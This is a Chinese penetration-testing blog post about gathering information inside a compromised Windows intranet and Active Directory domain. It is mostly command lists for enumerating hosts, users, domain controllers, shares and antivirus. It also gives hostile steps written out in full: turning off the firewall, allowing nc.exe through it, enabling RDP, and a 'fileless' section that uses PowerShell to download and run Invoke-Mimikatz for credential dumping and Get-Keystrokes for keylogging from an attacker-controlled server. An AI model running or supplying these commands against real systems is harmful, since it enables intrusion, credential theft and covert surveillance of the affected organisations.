前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透学习-信息收集篇

内网渗透学习-信息收集篇

作者头像
drunk_kk
发布2021-03-23 15:26:06
9590
发布2021-03-23 15:26:06
举报
文章被收录于专栏:渗透测试教程渗透测试教程
代码语言:javascript
复制
老年個相信一切,中年人懷疑一切,青年人什麼都懂

介绍

当我们通过渗透进入内网环境后,面对的是一片未知区域。对当前机器角色判断,对机器所处区域分析。本文分成两个部分。第一部分是常见信息收集思路、第二部分是一些小工具推荐

判断当前机器区域

判断机器所处于网络拓扑哪个区域,是在DMZ区、办公区、核心区。区域界限是相对的

机器角色判断

  • 文件服务器:配合社工,生成payload捆绑到文件服务器公用文件上,可批量上线主机
  • DNS服务器:端口53,可通过DNS服务器获取内网web系统信息,或者探测域信息
  • DHCP服务器:查看内网多组网段信息,更多的获取拓补信息
  • 开发测试服务器:获取源码,新的信息资产,多存在弱口令
  • 代理服务器:获取服务器账号,拿到各种密码
  • web服务器:可能需要提权
  • 个人PC:查看是否存在域环境

本机信息收集

包括操作系统、权限、内网IP段、杀软、端口、服务、补丁情况、网络连接、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。文件共享/FTP连接记录、浏览器访问记录、mstsc连接记录、ssh连接记录。

代码语言:javascript
复制
#查询网络配置信息。进行IP地址段信息收集
ipconfig /all
#查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
# 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE% 
#PowerShell收集软件的版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" 
#查看当前权限
whoami && whoami /priv
#查询本机服务信息
wmic service list brief
#查看安装的软件的版本、路径等
wmic product get name, version 
#查询进程信息
wmic process list brief
#查看启动程序信息
wmic startup get command,caption 
#查看计划任务
at(win10之前)
schtasks /query /fo LIST /v(win10)
#查看主机开机时间
net statistics workstation
#查看本机用户列表
net user 
#获取本地管理员信息
net localgroup administrators 
##查看当前在线用户
query user || qwinsta 
#列出或断开本地计算机与所连接的客户端的对话
net session
#查询端口列表
netstat -ano/-tnlp
#查看补丁列表
systeminfo 
# 查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看本机共享列表和可访问的域共享列表
net share (445端口)
#查找共享列表
wmic share get name,path,status 
#磁盘映射
net use k:\\192.168.1.10\c$
#查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查询路由表
route print
#可用接口的ARP缓存表。局域网内arp -a,查看是否有重复的mac地址判断是否存在arp欺骗。服务器绑定mac地址方式防止arp欺骗
arp -a
#查看服务
tasklist
#查看在线用户
quser
#查看远程连接信息
cmdkey /l
#查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
#查看本地密码策略
net accounts 
#查看hosts文件:
linux:cat  /etc/hosts
windows:type  c:\Windows\system32\drivers\etc\hosts
#查看dns缓存
ipconfig  /displaydns

我们可使用自动化脚本WMIC(Windows Management Instrumentation Command-Line,Windows管理工具命令行)。在默认情况下,任何版本的Windows XP的低权限用户不能访问WMIC,Windows 7以上版本的低权限用户允许访问WMIC并执行相关操作。 执行后,会将信息收集的结果写入HTML文档。

项目地址: http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

img

常见杀毒软件的进程

进程

软件名称

360SD.EXE

360杀毒

360TRAY.EXE

360实时保护

ZHUDONGFANGYU.EXE

360主动防御

KSAFETRAY.EXE

金山卫士

SAFEDOGUPDATECENTER.EXE

服务器安全狗

MCAFEE MCSHIELD.EXE

迈克菲杀毒软件

EGUI.EXE

NOD32

AVP.EXE

卡巴斯基

AVGUARD.EXE

小红伞

BDAGENT.EXE

BITDEFENDER

域环境信息收集

判断是否存在域。ipconfig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等。通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上

代码语言:javascript
复制
#查看当前权限
whoami 
#获取域用户SID
whoami /all 
#查询指定用户的详情信息
net user xxx /domain 
#查看域内所有账号
net user /domain 
#对比查看"域(域名)"和"登录服务器(域控制器)"的信息是否匹配
systeminfo 
#对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配
net config workstation 
#查看时间可以找到域控
net time /domain
#查看域密码策略
net accounts /domain 
#查看当前登录域    
net config workstation
#查看域用户
net user /domain
# 登录本机的域管理员
net localgroup administrators /domain
#获取域控ip
ping -a xxx.com
#查询域
net view /domain
#查询域内的所有计算机 
net view /domain:HACHE 
#查询域的所有组(enterprise admins组权限最大)
net group /domain 
# SPN扫描
setspn -T domain -q */* 
#查看域管理员的用户组
net group "domain admins" /domain
#查询域系统管理员用户组
net group "Enterprise admins" /domain 
#查看域控制器
net group "domain controllers" /domain
#查看域控制器的机器名
nltest /DCLIST:hacke 
#查看dns缓存
ipconfig  /displaydns
#列域控c盘文件(需要域管理员权限)
dir \\WIN-75NA0949GFB.safe-duck.com\c$
#查询所有域成员计算机列表
net group "domain computers" /domain 
#获取域信任信息
nltest /domain_trusts 
#获取域内用户的详细信息
wmic useraccount get /all 
#查看存在的用户
dsquery user 
#查询所有计算机名称
dsquery computer
#攻击主机CMD扫描同网段存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
#查看域控制器
net group "domaincontrollers" /domain

查询防火墙相关配置

关闭防火墙

Windows Server 2003及之前的版本:

代码语言:javascript
复制
netsh firewall set opmode disable

Windows Server 2003之后的版本:

代码语言:javascript
复制
netsh advfirewall set allprofiles state off
查看防火墙配置
代码语言:javascript
复制
netsh firewall show config

修改防火墙配置

Windows Server 2003及之前的版本,允许指定程序全部连接:

代码语言:javascript
复制
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

Windows Server 2003之后的版本,情况如下。

允许指定程序进入:

代码语言:javascript
复制
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"

允许指定程序退出:

代码语言:javascript
复制
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"

允许3389端口放行:

代码语言:javascript
复制
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

自定义防火墙日志的储存位置

代码语言:javascript
复制
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查询代理配置情况

代码语言:javascript
复制
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

这里我本地是没开代理端口的:

查询并开启远程连接服务

查看远程连接端口

代码语言:javascript
复制
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber

在命令行环境中执行注册表查询语句,连接的端口为0xd3d,转换后为3389:

在Windows Server 2003中开启3389端口

代码语言:javascript
复制
wmic path win32_terminalservicesetting where (__CLASS !="")  call setallowtsconnections 1

在Windows Server 2008和Windows Server 2012中开启3389端口

代码语言:javascript
复制
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

Ping探测主机存活(ICMP)

代码语言:javascript
复制
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

MSF信息收集

MSF主机存活探测、端口扫描

代码语言:javascript
复制
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname
auxiliary/scanner/portscan/tcp

auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/ack

MSF建立会话拿到shell,即可直接执行DOS命令至今进行信息收集。也可以进行直接执行run winenum可以一键收集记录。

代码语言:javascript
复制
run winenum

powershell 信息收集

默认powershell是不能执行脚本的,获取脚本策略之后才能使用:

代码语言:javascript
复制
get-executionpolicy

更改执行策略必须以管理员身份执行才可以,否则报错注册表安全问题

代码语言:javascript
复制
set-executionpolicy unrestricted

PowerSploit信息收集

项目地址:https://github.com/PowerShellMafia/PowerSploit

建立会话后的meterpreter:

代码语言:javascript
复制
#加载模块
load powershell
#调用本地ps脚本
powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
#命令执行
powershell_execute  Get-NetDomain 
#获取当前的域名称
Get-NetDomain  
#返回所有域内成员的详细信息
Get-Netuser 
#获取所有的域内的控制器信息
Get-NetDomainController 
#获取所有域内机器的名称
Get-NetComputer  
#获取域内的所有的网络共享
Get-Netshare
#获取指定服务的远程连接信息  
Get-NetRDPSESSION  
#获取进程的详细信息
Get-NetProcess  
# 获取活动目录的信息
Get-ADOPJECT 
#判断用户是否登陆计算机且用户是否有管理员权限
invoke-processhunter

powersploit无文件攻击

将下载的文件放在vps上面。确保目标服务器可以访问:

代码语言:javascript
复制
#在目标机导入脚本:
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")
#扫描网段、端口
invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"
#invoke-mimikatz抓取hash
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
#导hash
Invoke-Mimikatz -dumpcreds
#get-keystrokes键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
#将键盘记录保存到123.txt里面
Get-Keystrokes -logpath C:\Users\admin\123.txt

翻翻配置文件

一个正常的Web应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件:

代码语言:javascript
复制
findstr  /s /m "password" *.*

常用应用的默认配置路径:

代码语言:javascript
复制
Tomcat:
CATALINA_HOME/conf/tomcat-users.xml

Apache:
/etc/httpd/conf/httpd.conf

Nginx:
/etc/nginx/nginx.conf

Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf

Mysql:
mysql\data\mysql\user.MYD

还有一些Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)的密码查看

项目: https://github.com/uknowsec/SharpDecryptPwd

END

信息收集在内网渗透中的重要程度不言而喻。还有一些工具比如 psloggdon.exe、PVEFindADUser.exe、LaZagne、Impacket、Empire系列等等。祝师傅轻松拿到域控

一些其他工具推荐

https://github.com/QAX-A-Team/BrowserGhost https://github.com/pandasec888/taowu-cobalt-strike https://github.com/PyroTek3/PowerShell-AD-Recon https://github.com/chrisdee/Tools https://github.com/uknowsec/SharpDecryptPwd https://github.com/AlessandroZ/LaZagne https://github.com/samratashok/nishang https://github.com/quarkslab/quarkspwdump https://github.com/byt3bl33d3r/CrackMapExec https://github.com/brav0hax/smbexec https://github.com/360-Linton-Lab/WMIHACKER https://github.com/gentilkiwi/kekeo https://github.com/imp0wd3r/active-directory-pentest https://github.com/PowerShellMafia/PowerSploit https://github.com/CoreSecurity/impacket/ http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

参考:

https://xz.aliyun.com/t/7663

https://3gstudent.github.io/3gstudent.github.io/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透测试教程 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 介绍
    • 判断当前机器区域
      • 机器角色判断
      • 本机信息收集
        • 常见杀毒软件的进程
        • 域环境信息收集
          • 查询防火墙相关配置
            • 关闭防火墙
            • 查看防火墙配置
          • 查询代理配置情况
            • 查询并开启远程连接服务
              • Ping探测主机存活(ICMP)
                • MSF信息收集
                  • powershell 信息收集
                    • PowerSploit信息收集
                      • powersploit无文件攻击
                        • 翻翻配置文件
                          • 一些其他工具推荐
                            • 参考:
                            相关产品与服务
                            测试服务
                            测试服务 WeTest 包括标准兼容测试、专家兼容测试、手游安全测试、远程调试等多款产品,服务于海量腾讯精品游戏,涵盖兼容测试、压力测试、性能测试、安全测试、远程调试等多个方向,立体化安全防护体系,保卫您的信息安全。
                            领券
                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档